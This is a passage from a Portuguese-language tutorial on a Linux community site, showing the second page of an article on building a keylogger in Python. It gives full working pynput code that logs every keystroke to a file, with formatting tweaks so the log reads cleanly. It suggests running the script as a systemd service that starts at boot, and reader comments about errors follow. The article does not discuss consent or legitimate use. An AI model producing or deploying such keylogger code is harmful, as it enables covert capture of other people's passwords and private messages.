Como criar um keylogger em Python

Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.

[ Hits: 47.191 ]

Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev


Incrementando o código



O primeiro passo na incrementação de nosso log será remover a delimitação por aspas simples dos caracteres, para isso vamos adicionar a seguinte linha ao código:

keydata = keydata.replace("'", "")

Em seguida precisamos tratar algumas teclas especiais, como por exemplo, quando eu digitar Enter, ao invés de aparecer Key.enter no log, quero uma quebra de linha.

Também não me importa saber se o usuário pressionou alguma das teclas Shift, Esc, Caps Lock ou Alt por exemplo, pois quando ele digita uma letra usando alguma combinação de shift ou caps lock, no log já aparece a letra em caixa alta.

Também vou querer traduzir a tecla Key.space para um espaço em branco.

Para resolver estes problemas criarei um dicionário onde as chaves serão as teclas e o valor a tradução da tecla no log. Você pode incrementar esse dicionário de acordo com sua preferência/necessidade:

translate_keys = {
    "Key.space": " ",
    "Key.shift_r": "",
    "Key.shift_l": "",
    "Key.enter": "\n",
    "Key.alt": "",
    "Key.esc": "",
    "Key.cmd": "",
    "Key.caps_lock": "",
}

Agora precisamos criar um laço de repetição para traduzir as teclas que constam em nosso dicionário:

for key in translate_keys:
    #key recebe a chave do dicionário translate_keys
    #substituir a chave (key) pelo seu valor (translate_keys[key])
    keydata = keydata.replace(key, translate_keys[key])

Segue o código final de nosso projeto:

#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener

#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"

def writeLog(key):
    '''
    Esta função será responsável por receber a tecla pressionada
    via Listener e escrever no arquivo de log
    '''

    #dicionário com as teclas a serem traduzidas
    translate_keys = {
        "Key.space": " ",
        "Key.shift_r": "",
        "Key.shift_l": "",
        "Key.enter": "\n",
        "Key.alt": "",
        "Key.esc": "",
        "Key.cmd": "",
        "Key.caps_lock": "",
    }

    #converter a tecla pressionada para string
    keydata = str(key)

    #remover as asplas simples que delimitam os caracteres
    keydata = keydata.replace("'", "")

    for key in translate_keys:
        #key recebe a chave do dicionário translate_keys
        #substituir a chave (key) pelo seu valor (translate_keys[key])
        keydata = keydata.replace(key, translate_keys[key])

    #abrir o arquivo de log no modo append
    with open(logFile, "a") as f:
        f.write(keydata)

#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
    l.join()

Reexecute o script e verifique o arquivo de log novamente, agora sim temos um log decente:

tail -f /home/fabio/python/keylogger/log.txt

Viva o Linux!

O código deste script, assim como futuras atualizações está disponível em meu repositório gitHub:
Como executar o código fica a seu critério. Você pode criar um serviço no systemd e fazer com que ele inicie automaticamente durante o boot e por aí vai.

Página anterior    

Páginas do artigo
   1. Introdução
   2. Incrementando o código
Outros artigos deste autor

I Encontro da Comunidade Viva o Linux

Rodando ASP em servidores web Linux

Zello - Transforme seu Android (e GNU/Linux) num Walkie Talkie

Tasker - Cotação do dólar usando Javascript

Extracttext - como extrair texto de uma área selecionada da tela

Leitura recomendada

Integração do ChatGPT em uma API Python

Programe em Python no jogo Minecraft com seu filho ou sozinho

Robótica com Android e Arduino

Criando um leitor de RSS com Python

Alimentando Desktopcouch com Zeitgeist

  
Comentários
[1] Comentário enviado por REDN1T em 04/01/2019 - 17:03h

Gostei do seu código, ele esta tão bem comentado que eu que não programo em python consigo enteder o que está acontecendo. Continue assim.

[2] Comentário enviado por BiaMonteiro em 04/01/2019 - 18:44h

Daqui a pouco os hackers do Kali Linux vão usar o Python para desenvolver essa ferramenta.
No mais, ótimo artigo, deixarei meu like.

[3] Comentário enviado por Danilo Falkner em 08/01/2019 - 00:03h

Olha, python mensagem de erro no terminal:

#converter a tecla pressionada para string
keydata = str(key)
^
"NameError: name('key') is not defined."

o que fazer?
Obrigado! Abraço Vivo o Linux!

[4] Comentário enviado por fabio em 08/01/2019 - 02:09h


[3] Comentário enviado por Danilo Falkner em 08/01/2019 - 00:03h

Olha, python mensagem de erro no terminal:

#converter a tecla pressionada para string
keydata = str(key)
^
"NameError: name('key') is not defined."

o que fazer?
Obrigado! Abraço Vivo o Linux!


Você provavelmente não copiou o código corretamente. No final do artigo tem um link para o script no GitHub, baixe o código completo de lá.

[5] Comentário enviado por Kirimatt em 17/02/2021 - 07:14h

logfile = "C:\Users\Windows10\Downloads\python\key_logger\log.txt"
^
SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes in position 2-3: truncated \UXXXXXXXX escape

Estou tendo esse erro na hora de executar o programa, alguma ideia do que possa ser? Já conferi a localização do arquivo e ela está correta


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts